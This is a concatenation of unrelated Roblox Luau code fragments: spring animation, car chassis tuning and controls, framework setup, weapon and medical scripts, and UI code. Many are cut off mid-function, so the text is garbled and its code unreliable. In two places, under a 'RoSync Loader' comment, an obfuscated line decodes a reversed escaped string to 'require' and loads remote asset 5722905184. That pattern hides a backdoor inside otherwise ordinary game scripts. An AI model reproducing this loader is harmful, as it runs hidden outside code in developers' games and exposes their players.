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-- Reference to the SearchBox TextBox
local searchBox = script.Parent.Parent.Parent.AppManager.Clippify.SearchBox
--[[ Package link auto-generated by Rotriever ]]
local PackageIndex = script.Parent._Index local Package = require(PackageIndex["SoundPlayer"]["SoundPlayer"]) return Package
-- detect if they lock first person mode during a live game
local playerchanged_con = nil playerchanged_con = player.Changed:Connect(function(property) if property == "CameraMaxZoomDistance" or property == "CameraMode" then if player.CameraMaxZoomDistance <= 0.5 or player.CameraMode == Enum.CameraMode.LockFirstPerson then enableviewmodel() end end end)
-- transforms Roblox types into intermediate types, converting -- between spaces as necessary to preserve perceptual linearity
local typeMetadata = { number = { springType = LinearSpring.new, toIntermediate = function(value) return {value} end, fromIntermediate = function(value) return value[1] end, }, NumberRange = { springType = LinearSpring.new, toIntermediate = function(value) return {value.Min, value.Max} end, fromIntermediate = function(value) return NumberRange.new(value[1], value[2]) end, }, UDim = { springType = LinearSpring.new, toIntermediate = function(value) return {value.Scale, value.Offset} end, fromIntermediate = function(value) return UDim.new(value[1], value[2]) end, }, UDim2 = { springType = LinearSpring.new, toIntermediate = function(value) local x = value.X local y = value.Y return {x.Scale, x.Offset, y.Scale, y.Offset} end, fromIntermediate = function(value) return UDim2.new(value[1], value[2], value[3], value[4]) end, }, Vector2 = { springType = LinearSpring.new, toIntermediate = function(value) return {value.X, value.Y} end, fromIntermediate = function(value) return Vector2.new(value[1], value[2]) end, }, Vector3 = { springType = LinearSpring.new, toIntermediate = function(value) return {value.X, value.Y, value.Z} end, fromIntermediate = function(value) return Vector3.new(value[1], value[2], value[3]) end, }, CFrame = { springType = LinearSpring.new, toIntermediate = function(value) return {value:GetComponents()} end, fromIntermediate = function(value) return CFrame.new(unpack(value)) end, }, Color3 = { springType = LinearSpring.new, toIntermediate = function(value) -- convert RGB to a variant of cieluv space local r, g, b = value.R, value.G, value.B -- D65 sRGB inverse gamma correction r = r < 0.0404482362771076 and r/12.92 or 0.87941546140213*(r + 0.055)^2.4 g = g < 0.0404482362771076 and g/12.92 or 0.87941546140213*(g + 0.055)^2.4 b = b < 0.0404482362771076 and b/12.92 or 0.87941546140213*(b + 0.055)^2.4 -- sRGB -> xyz local x = 0.9257063972951867*r - 0.8333736323779866*g - 0.09209820666085898*b local y = 0.2125862307855956*r + 0.71517030370341085*g + 0.0722004986433362*b local z = 3.6590806972265883*r + 11.4426895800574232*g + 4.1149915024264843*b -- xyz -> modified cieluv local l = y > 0.008856451679035631 and 116*y^(1/3) - 16 or 903.296296296296*y local u, v if z > 1e-14 then u = l*x/z v = l*(9*y/z - 0.46832) else u = -0.19783*l v = -0.46832*l end return {l, u, v} end, fromIntermediate = function(value) -- convert back from modified cieluv to rgb space local l = value[1] if l < 0.0197955 then return Color3.new(0, 0, 0) end local u = value[2]/l + 0.19783 local v = value[3]/l + 0.46832 -- cieluv -> xyz local y = (l + 16)/116 y = y > 0.206896551724137931 and y*y*y or 0.12841854934601665*y - 0.01771290335807126 local x = y*u/v local z = y*((3 - 0.75*u)/v - 5) -- xyz -> D65 sRGB local r = 7.2914074*x - 1.5372080*y - 0.4986286*z local g = -2.1800940*x + 1.8757561*y + 0.0415175*z local b = 0.1253477*x - 0.2040211*y + 1.0569959*z -- clamp minimum sRGB component if r < 0 and r < g and r < b then r, g, b = 0, g - r, b - r elseif g < 0 and g < b then r, g, b = r - g, 0, b - g elseif b < 0 then r, g, b = r - b, g - b, 0 end -- gamma correction from D65 -- clamp to avoid undesirable overflow wrapping behavior on certain properties (e.g. BasePart.Color) return Color3.new( min(r < 3.1306684425e-3 and 12.92*r or 1.055*r^(1/2.4) - 0.055, 1), min(g < 3.1306684425e-3 and 12.92*g or 1.055*g^(1/2.4) - 0.055, 1), min(b < 3.1306684425e-3 and 12.92*b or 1.055*b^(1/2.4) - 0.055, 1) ) end, }, } local springStates = {} -- {[instance] = {[property] = spring} RunService.Stepped:Connect(function(_, dt) for instance, state in pairs(springStates) do for propName, spring in pairs(state) do if spring:canSleep() then state[propName] = nil instance[propName] = spring.rawTarget else instance[propName] = spring:step(dt) end end if not next(state) then springStates[instance] = nil end end end) local function assertType(argNum, fnName, expectedType, value) if not STRICT_TYPES then return end if not expectedType:find(typeof(value)) then error( ("bad argument #%d to %s (%s expected, got %s)"):format( argNum, fnName, expectedType, typeof(value) ), 3 ) end end local spr = {} function spr.target(instance, dampingRatio, frequency, properties) assertType(1, "spr.target", "Instance", instance) assertType(2, "spr.target", "number", dampingRatio) assertType(3, "spr.target", "number", frequency) assertType(4, "spr.target", "table", properties) if dampingRatio ~= dampingRatio or dampingRatio < 0 then error(("expected damping ratio >= 0; got %.2f"):format(dampingRatio), 2) end if frequency ~= frequency or frequency < 0 then error(("expected undamped frequency >= 0; got %.2f"):format(frequency), 2) end local state = springStates[instance] if not state then state = {} springStates[instance] = state end for propName, propTarget in pairs(properties) do local propValue = instance[propName] if STRICT_TYPES and typeof(propTarget) ~= typeof(propValue) then error( ("bad property %s to spr.target (%s expected, got %s)"):format( propName, typeof(propValue), typeof(propTarget) ), 2 ) end local spring = state[propName] if not spring then local md = typeMetadata[typeof(propTarget)] if not md then error("unsupported type: " .. typeof(propTarget), 2) end spring = md.springType(dampingRatio, frequency, propValue, md, propTarget) state[propName] = spring end spring.d = dampingRatio spring.f = frequency spring:setGoal(propTarget) end end function spr.stop(instance, property) assertType(1, "spr.stop", "Instance", instance) assertType(2, "spr.stop", "string|nil", property) if property then local state = springStates[instance] if state then state[property] = nil end else springStates[instance] = nil end end if STRICT_API_ACCESS then return tableLock(spr) else return spr end
--!optimize 2
local ReplicatedFirst = game:GetService('ReplicatedFirst') local TeleportService = game:GetService("TeleportService") ReplicatedFirst:RemoveDefaultLoadingScreen() TeleportService:SetTeleportGui(Instance.new('ScreenGui'))
---- STATE MODIFICATION ----
function ActiveCastStatic:Pause() assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Pause", "ActiveCast.new(...)")) assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) self.StateInfo.Paused = true end function ActiveCastStatic:Resume() assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Resume", "ActiveCast.new(...)")) assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) self.StateInfo.Paused = false end function ActiveCastStatic:Terminate() assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Terminate", "ActiveCast.new(...)")) assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) -- First: Set EndTime on the latest trajectory since it is now done simulating. local trajectories = self.StateInfo.Trajectories local lastTrajectory = trajectories[#trajectories] lastTrajectory.EndTime = self.StateInfo.TotalRuntime -- Disconnect the update connection. self.StateInfo.UpdateConnection:Disconnect() -- Now fire CastTerminating self.Caster.CastTerminating:FireSync(self) -- And now set the update connection object to nil. self.StateInfo.UpdateConnection = nil -- And nuke everything in the table + clear the metatable. self.Caster = nil self.StateInfo = nil self.RayInfo = nil self.UserData = nil setmetatable(self, nil) end return ActiveCastStatic
--[=[ @prop Util Folder @within KnitServer @readonly References the Util folder. Should only be accessed when using Knit as a standalone module. If using Knit from Wally, modules should just be pulled in via Wally instead of relying on Knit's Util folder, as this folder only contains what is necessary for Knit to run in Wally mode. ]=]
KnitServer.Util = script.Parent.Parent local SIGNAL_MARKER = newproxy(true) getmetatable(SIGNAL_MARKER).__tostring = function() return "SIGNAL_MARKER" end local PROPERTY_MARKER = newproxy(true) getmetatable(PROPERTY_MARKER).__tostring = function() return "PROPERTY_MARKER" end local knitRepServiceFolder = Instance.new("Folder") knitRepServiceFolder.Name = "Services" local Promise = require(KnitServer.Util.Promise) local Comm = require(KnitServer.Util.Comm) local ServerComm = Comm.ServerComm local services: {[string]: Service} = {} local started = false local startedComplete = false local onStartedComplete = Instance.new("BindableEvent") local function DoesServiceExist(serviceName: string): boolean local service: Service? = services[serviceName] return service ~= nil end
-- Game Services
local Configurations = require(game.ServerStorage.Configurations) local DisplayManager = require(script.Parent.DisplayManager)
-- constants
local REMOTES = ReplicatedStorage.Remotes
-- print("Keyframe : ".. frameName)
local repeatAnim = stopToolAnimations() playToolAnimation(repeatAnim, 0.0, Humanoid) end end function playToolAnimation(animName, transitionTime, humanoid) if (animName ~= toolAnimName) then if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() transitionTime = 0 end local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end
--[[ Last synced 11/11/2020 02:29 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Activate when we die.
getHumanoid().Died:Connect(function() if ( script.ActivateOnDeath.Value ) then script.Activate.Value = true; end end);
--
local uisBinds = {}; local uisBinds_mt = {__index = uisBinds}; function uisBinds.new() local self = {}; self.connections = {}; return setmetatable(self, uisBinds_mt); end
---Controls UI
script.Parent.Parent:WaitForChild("Controls") script.Parent.Parent:WaitForChild("ControlsOpen") script.Parent:WaitForChild("Window") script.Parent:WaitForChild("Toggle") local car = script.Parent.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local UserInputService = game:GetService("UserInputService") local cPanel = script.Parent local Controls = script.Parent.Parent.Controls local ver = require(car["A-Chassis Tune"].README) cPanel.Window["//INSPARE"].Text = "A-Chassis "..ver.." // INSPARE" local controlsOpen = false local cInputB = nil local cInputT = nil local cInput = false for i,v in pairs(_Tune.Peripherals) do script.Parent.Parent.Controls:WaitForChild(i) local slider = cPanel.Window.Content[i] slider.Text = v.."%" slider.S.CanvasPosition=Vector2.new(v*(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset)/100,0) slider.S.Changed:connect(function(property) if property=="CanvasPosition" then Controls[i].Value = math.floor(100*slider.S.CanvasPosition.x/(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset)) slider.Text = Controls[i].Value.."%" end end) end for i,v in pairs(_Tune.Controls) do script.Parent.Parent.Controls:WaitForChild(i) local button = cPanel.Window.Content[i] button.Text = v.Name button.MouseButton1Click:connect(function() script.Parent.Parent.ControlsOpen.Value = true cPanel.Window.Overlay.Visible = true cInput = true repeat wait() until cInputB~=nil if cInputB == Enum.KeyCode.Return or cInputB == Enum.KeyCode.KeypadEnter then --do nothing elseif string.find(i,"Contlr")~=nil then if cInputT.Name:find("Gamepad") then Controls[i].Value = cInputB.Name button.Text = cInputB.Name else cPanel.Window.Error.Visible = true end elseif i=="MouseThrottle" or i=="MouseBrake" then if cInputT == Enum.UserInputType.MouseButton1 or cInputT == Enum.UserInputType.MouseButton2 then Controls[i].Value = cInputT.Name button.Text = cInputT.Name elseif cInputT == Enum.UserInputType.Keyboard then Controls[i].Value = cInputB.Name button.Text = cInputB.Name else cPanel.Window.Error.Visible = true end else if cInputT == Enum.UserInputType.Keyboard then Controls[i].Value = cInputB.Name button.Text = cInputB.Name else cPanel.Window.Error.Visible = true end end cInputB = nil cInputT = nil cInput = false wait(.2) cPanel.Window.Overlay.Visible = false script.Parent.Parent.ControlsOpen.Value = false end) end cPanel.Window.Error.Changed:connect(function(property) if property == "Visible" then wait(3) cPanel.Window.Error.Visible = false end end) UserInputService.InputBegan:connect(function(input) if cInput then cInputB = input.KeyCode cInputT = input.UserInputType end end) UserInputService.InputChanged:connect(function(input) if cInput and (input.KeyCode==Enum.KeyCode.Thumbstick1 or input.KeyCode==Enum.KeyCode.Thumbstick2) then cInputB = input.KeyCode cInputT = input.UserInputType end end) cPanel.Toggle.MouseButton1Click:connect(function() controlsOpen = not controlsOpen if controlsOpen then cPanel.Toggle.BackgroundColor3 = Color3.new(1,85/255,.5) cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0.5, -250),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true) else cPanel.Toggle.BackgroundColor3 = Color3.new(1,170/255,0) cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0, -500),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true) end end) cPanel.Window.Tabs.Keyboard.MouseButton1Click:connect(function() cPanel.Window.Content:TweenPosition(UDim2.new(0, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) end) cPanel.Window.Tabs.Mouse.MouseButton1Click:connect(function() cPanel.Window.Content:TweenPosition(UDim2.new(-1, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) end) cPanel.Window.Tabs.Controller.MouseButton1Click:connect(function() cPanel.Window.Content:TweenPosition(UDim2.new(-2, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) end) wait(.5) cPanel.Toggle:TweenPosition(UDim2.new(0.5,200,1,-25),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,false) for i=1,6 do cPanel.Toggle.BackgroundColor3 = Color3.new(100/255,100/255,100/255) wait(.2) if controlsOpen then cPanel.Toggle.BackgroundColor3 = Color3.new(1,85/255,.5) else cPanel.Toggle.BackgroundColor3 = Color3.new(1,170/255,0) end wait(.2) end
----------------- --| Constants |-- -----------------
local BLAST_RADIUS = 25 -- Blast radius of the explosion local BLAST_DAMAGE = 9999999999999999999999999999999999999999999999999999999999999999999999999999 -- Amount of damage done to humanoids local BLAST_FORCE = 5000 -- Amount of force applied to parts local UNANCHOR_PARTS = true -- If set to true, explosions will unanchor anchored parts local IGNITE_PARTS = true -- If set to true, parts will be set on fire (fire does not do anything) local SPECIAL_EFFECTS = true -- If set to true, parts hit by a rocket will have a special effect local BREAK_JOINTS = true -- If set to true, explosions will break joints local IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these
--// Adonis Client Loader (Non-ReplicatedFirst Version)
local DebugMode = false; local wait = wait; local time = time; local pcall = pcall; local xpcall = xpcall; local setfenv = setfenv; local tostring = tostring;
-- Define the function to open or close the window with gene-alike effect
local function toggleWindow(icon) local windowName = icon.Name -- Find the corresponding frame in the AppManager using the window name local window = appManager:FindFirstChild(windowName) if window then if window.Visible == false then -- Close other windows for _, child in ipairs(appManager:GetChildren()) do if child:IsA("Frame") and child.Visible then child.Visible = false end end dockShelf.Visible = false wallShelf.Visible = false -- Set the initial position of the window to be relative to the button window.Position = UDim2.new(0.319, 0, 0.331, 0) -- Set the initial size of the window to be zero window.Size = UDim2.new(0, 100, 0, 100) -- Show the window and tween its position and size window.Visible = true -- Determine the tween speed based on the uiSpeedSetting local tweenSpeed = ClipSettings.settings.uiSpeedSetting and uiSpeedUser.Value or ClipSettings.uiSpeed -- Create a new tween with the appropriate tweenSpeed local tweenInfo = TweenInfo.new(tweenSpeed, Enum.EasingStyle.Quad, Enum.EasingDirection.Out) TweenService:Create(window, tweenInfo, {Position = UDim2.new(-0.007, 0, 0, 0), Size = UDim2.new(1.007, 0, 1, 0)}):Play() end end end
--[[ Merges dictionary-like tables together. ]]
function Immutable.JoinDictionaries(...) local result = {} for i = 1, select("#", ...) do local dictionary = select(i, ...) for key, value in pairs(dictionary) do result[key] = value end end return result end
--//Controller//--
while true do task.wait(Configuration.DelayTime.Value) local RandomSong = Songs[math.random(1, #Songs)] CurrentSong.SoundId = RandomSong.SoundId NameText.Text = "Currently playing: "..RandomSong.Name CurrentSong:Play() task.wait(RandomSong.TimeLength) end
-- Don't mess with anything in the script. The constants and variables are all mixed together
local Type = 0 -- Manipulated by GUI (0 = 12 hr, 1 = 24 hr) local Sec = true -- Manipulated by GUI local year = 1970 local month = 1 local day = 1 local Date = "January 1, 1970" local hour = 0 local min = 0 local sec = 0 local tag = "AM" local Time = "12:00 AM" function getDate() local months = {
--[[Drivetrain]]
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD" --Differential Settings Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed) Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel) Tune.RDiffSlipThres = 30 -- 1 - 100% Tune.RDiffLockThres = 60 -- 0 - 100% Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only] Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only] --Traction Control Settings Tune.TCSEnabled = true -- Implements TCS Tune.TCSThreshold = 18 -- Slip speed allowed before TCS starts working (in SPS) Tune.TCSGradient = 18 -- Slip speed gradient between 0 to max reduction (in SPS) Tune.TCSLimit = 9 -- Minimum amount of torque at max reduction (in percent)
-- Initialize decorate tool
local DecorateTool = require(CoreTools:WaitForChild 'Decorate') Core.AssignHotkey('P', Core.Support.Call(Core.EquipTool, DecorateTool)); Core.Dock.AddToolButton(Core.Assets.DecorateIcon, 'P', DecorateTool, 'DecorateInfo'); return Core
-- Decompiled with Visenya | https://targaryentech.com
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["A-Chassis Tune"]) local on = 0 local throt = 0 local redline = 0 script:WaitForChild("Rev") for i, v in pairs(car.DriveSeat:GetChildren()) do for _, a in pairs(script:GetChildren()) do if v.Name == a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound", "Rev", car.DriveSeat, script.Rev.SoundId, 0, script.Rev.Volume, true) handler:FireServer("playSound", "Rev") car.DriveSeat:WaitForChild("Rev") while wait() do local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle / 100 then throt = math.max(0.3, throt - 0.2) else throt = math.min(1, throt + 0.1) end if script.Parent.Values.RPM.Value > _Tune.Redline - _Tune.RevBounce / 4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle / 100 then redline = 0.5 else redline = 1 end if not script.Parent.IsOn.Value then on = math.max(on - 0.015, 0) else on = 1 end local Pitch = math.max((script.Rev.SetPitch.Value + script.Rev.SetRev.Value * _RPM / _Tune.Redline) * on ^ 2, script.Rev.SetPitch.Value) if FE then handler:FireServer("updateSound", "Rev", script.Rev.SoundId, Pitch, script.Rev.Volume) else car.DriveSeat.Rev.Pitch = Pitch end end
--{0.976, 0},{, 0}
UIS.InputEnded:connect(function(key, gameProcessed) if key.KeyCode == Enum.KeyCode.LeftShift and gameProcessed == false then character.Humanoid.WalkSpeed = NormalWalkSpeed sprinting = false while power < 10 and not sprinting do power = power + .03 Bar:TweenSize(UDim2.new(power / 10.25, 0, .78, 0), 'Out', 'Quint', .1, true) --Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 166, 11), 0.001) wait() if power <= 0 then character.Humanoid.WalkSpeed = NormalWalkSpeed end end end end)
--if tool then -- local handle = tool:FindFirstChild("Handle") -- local toolCopy = tool:Clone() -- toolCopy.Parent = game.ServerStorage -- local toolOnPad = true -- -- local parentConnection -- parentConnection = tool.AncestryChanged:connect(function() -- if handle then handle.Anchored = false end -- toolOnPad = false -- parentConnection:disconnect() -- end) -- -- if handle then -- handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0) -- handle.Anchored = true -- end -- -- while true do -- while toolOnPad do -- if handle then -- handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60) -- end -- wait() -- end -- wait(configs["SpawnCooldown"]) -- local newTool = toolCopy:Clone() -- newTool.Parent = game.Workspace -- handle = newTool:FindFirstChild("Handle") -- toolOnPad = true -- end --end --[[ Last synced 7/23/2022 04:59 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Roact
local new = Roact.createElement local ToolButton = require(script.Parent:WaitForChild('ToolButton'))
-- shut down the script when we die and reset things
humanoid.Died:Connect(function() stepped_con:Disconnect() leftshoulderclone:Destroy() rightshoulderclone:Destroy() viewmodel:Destroy() if rightshoulder then rightshoulder.Enabled = true end if leftshoulder then leftshoulder.Enabled = true end larm.Anchored = false rarm.Anchored = false armtransparency = 0 visiblearms(false) end)
--end
end end function Plaka() for i,v in pairs(Car.Body.Plate:GetChildren()) do v.SGUI.Identifier.Text = Stats.Plate.Value end end function ToogleLock(status) for i,v in pairs(Car:GetDescendants()) do if v.ClassName == "VehicleSeat" or v.ClassName == "Seat" then v.Disabled = status end end end
-- Functions
players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(function(character) local rootPart = character:WaitForChild("HumanoidRootPart") local footstepsSound = Instance.new("Sound") footstepsSound.Name = "Footsteps" footstepsSound.Volume = 0.15 footstepsSound.RollOffMaxDistance = 30 footstepsSound.RollOffMode = Enum.RollOffMode.Linear footstepsSound.PlayOnRemove = true footstepsSound.Parent = rootPart end) end)
--
mouse.KeyDown:connect(function(key) if key=="r" then if GMode>=2 then GMode=0 else GMode=GMode+1 end if GMode==2 then Controller=true else Controller=false end if GMode==0 then script.Parent.Mode.Text = "Control Mode: Keyboard" elseif GMode==1 then script.Parent.Mode.Text = "Control Mode: Mouse" else script.Parent.Mode.Text = "Control Mode: Controller" end end end) game["Run Service"].RenderStepped:connect(function() for i,v in pairs(Binded) do v() end end) car.DriveSeat.Start2:Play() car.DriveSeat.Start1:Stop() for i,v in pairs(Sounds.Looped) do v:Play() end coroutine.resume(coroutine.create(function() for i,v in pairs(car.Body.Exhaust:GetChildren()) do v.Afterburn.Rate=10 end wait(.3) for i,v in pairs(car.Body.Exhaust:GetChildren()) do v.Afterburn.Rate=0 end end)) while wait() do for i,v in pairs(LoopRun) do v() end end
--print(Hit, Hit.Name)
if Hit.Name == "Terrain" or Hit.CanCollide == false then -- In front is Water or a steep hill made of Terrain. Hit = nil -- swim or climb, or Ray hit a Non-colliding Part; and don't check for floor. This will not do, as we do not get a Hit when under-water, so we will check for floor. We must check Swimming event. else -- Jump? Hit = DrawRay(originPrime + Vector3.new(0,4.8,0), pointPrime) if Hit == nil then -- (Does NOT check CanCollide of Part blocking Jump) hum.Jump = true -- we do NOT check for "Floor", if jumping, but it might be a good idea. end -- Room to jump? end --Terrain? Water? end -- Ladder? else -- path is clear. Check for cliff... or OK to drop local Level = torsoPos.y if target then Level = target.Position.y -- get Target's current position. else -- Target is dead. Abandon all logic... Logic = 0 -- but still check for floor end if torsoPos.y - 2 < Level then -- if Player is not well below us... Hit = DrawRay(torsoPos + point * .8 + Vector3.new(0,1,0), Vector3.new(0,-7,0)) -- check for floor 85% of dir ahead if Hit == nil then -- There is no floor Hit = true -- Force a hit; we may not be able to get back up here. else Hit = nil -- Force a false to hit, 'cause everything is OK. (Does NOT check CanCollide of Floor!) end -- cliff check end -- Player Hieght end -- path ok? return Hit end -- FireRayToward function FireAtPlayer() origin = CFrame.new(torsoPos, Vector3.new(targpos.x, torsoPos.y, targpos.z)) -- This contains Origin & Direction local hit = FireRayToward() return hit end function FireRayAhead() origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdir, 0, Zdir)) local hit = FireRayToward() targpos = torsoPos + Vector3.new(Xdir,0,Zdir) return hit end function FireRay() -- Fire Ahead and diagonaly origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdag, 0, Zdag)) local hit = FireRayToward() if hit then origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdir, 0, Zdir)) hit = FireRayToward() if not hit then targpos = torsoPos + Vector3.new(Xdir,0,Zdir) end else targpos = torsoPos + Vector3.new(Xdag,0,Zdag) end return hit end -- Fire Ray function FireDag() origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdag, 0, Zdag)) local hit = FireRayToward() return hit end -- Fire Diagonaly function TurnRight() if Xdir == 0 then Xdir = -Zdir Zdir = 0 else Zdir = Xdir Xdir = 0 end if Xdag == Zdag then Xdag = -Xdag else Zdag = -Zdag end end -- Left function TurnLeft() if Xdir == 0 then Xdir = Zdir Zdir = 0 else Zdir = -Xdir Xdir = 0 end if Xdag == Zdag then Zdag = -Zdag else Xdag = -Xdag end end -- Left function GetDir() Xdir = (targpos.x - torsoPos.x) -- Which way are we going? Zdir = (targpos.z - torsoPos.z)
--wait
wait(BRAINWave) while FreeFalling do FreeFalling = false wait(.2) end end -- Main
--[=[ Clones the given instance and adds it to the trove. Shorthand for `trove:Add(instance:Clone())`. ]=]
function Trove:Clone(instance: Instance): Instance return self:Add(instance:Clone()) end
------------------------------------------------------------------- -----------------------[MEDSYSTEM]--------------------------------- -------------------------------------------------------------------
Evt.Ombro.OnServerEvent:Connect(function(Player,Vitima) local Nombre for SKP_001, SKP_002 in pairs(game.Players:GetChildren()) do if SKP_002:IsA('Player') and SKP_002 ~= Player and SKP_002.Name == Vitima then if SKP_002.Team == Player.Team then Nombre = Player.Name else Nombre = "Someone" end Evt.Ombro:FireClient(SKP_002,Nombre) end end end) Evt.Target.OnServerEvent:Connect(function(Player,Vitima) Player.Character.Saude.Variaveis.PlayerSelecionado.Value = Vitima end) Evt.Render.OnServerEvent:Connect(function(Player,Status,Vitima) if Vitima == "N/A" then Player.Character.Saude.Stances.Rendido.Value = Status else local VitimaTop = game.Players:FindFirstChild(Vitima) if VitimaTop.Character.Saude.Stances.Algemado.Value == false then VitimaTop.Character.Saude.Stances.Rendido.Value = Status VitimaTop.Character.Saude.Variaveis.HitCount.Value = 0 end end end) Evt.Drag.OnServerEvent:Connect(function(player) local Human = player.Character.Humanoid local enabled = Human.Parent.Saude.Variaveis.Doer local MLs = Human.Parent.Saude.Variaveis.MLs local Caido = Human.Parent.Saude.Stances.Caido local Item = Human.Parent.Saude.Kit.Epinefrina local target = Human.Parent.Saude.Variaveis.PlayerSelecionado if Caido.Value == false and target.Value ~= "N/A" then local player2 = game.Players:FindFirstChild(target.Value) local PlHuman = player2.Character.Humanoid local Sangrando = PlHuman.Parent.Saude.Stances.Sangrando local MLs = PlHuman.Parent.Saude.Variaveis.MLs local Dor = PlHuman.Parent.Saude.Variaveis.Dor local Ferido = PlHuman.Parent.Saude.Stances.Ferido local PlCaido = PlHuman.Parent.Saude.Stances.Caido local Sang = PlHuman.Parent.Saude.Variaveis.Sangue if enabled.Value == false then if PlCaido.Value == true or PlCaido.Parent.Algemado.Value == true then enabled.Value = true coroutine.wrap(function() while target.Value ~= "N/A" and PlCaido.Value == true and PlHuman.Health > 0 and Human.Health > 0 and Human.Parent.Saude.Stances.Caido.Value == false or target.Value ~= "N/A" and PlCaido.Parent.Algemado.Value == true do wait() pcall(function() player2.Character.Torso.Anchored ,player2.Character.Torso.CFrame = true,Human.Parent.Torso.CFrame*CFrame.new(0,0.75,1.5)*CFrame.Angles(math.rad(0), math.rad(0), math.rad(90)) enabled.Value = true end) end pcall(function() player2.Character.Torso.Anchored=false enabled.Value = false end) end)() enabled.Value = false end end end end) Evt.Squad.OnServerEvent:Connect(function(Player,SquadName,SquadColor) Player.Character.Saude.FireTeam.SquadName.Value = SquadName Player.Character.Saude.FireTeam.SquadColor.Value = SquadColor end) Evt.Afogar.OnServerEvent:Connect(function(Player) Player.Character.Humanoid.Health = 0 end)
--script.Parent.Parent.BrickColor = BrickColor.new("Lime green") --Lights1.Material = "SmoothPlastic" --Lights2.Material = "SmoothPlastic" --Lights3.Material = "SmoothPlastic" --Lights1.BrickColor = BrickColor.new("Transparent") --Lights2.BrickColor = BrickColor.new("Transparent") --Lights3.BrickColor = BrickColor.new("Transparent")
local LightsModel = script.Parent.Parent.Parent.LightsModel local debounce = false script.Parent.MouseClick:Connect(function() if debounce == false then debounce = true script.Parent.Parent.BrickColor = BrickColor.new("Really red") for i, v in pairs(LightsModel:GetDescendants()) do if v:IsA("BasePart") then v.Material = "Neon" v.BrickColor = BrickColor.new("Cyan") end end elseif debounce == true then end end)
-- Functional services
TweenService = game:GetService("TweenService")
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 2000 -- Front brake force Tune.RBrakeForce = 1650 -- Rear brake force Tune.PBrakeForce = 5200 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
-- gets the middle point of 2 vector2's
function maths:GetMidpoint2(v2,V2) return (v2+V2)/2 end
-- DefaultValue for spare ammo
local SpareAmmo = 999
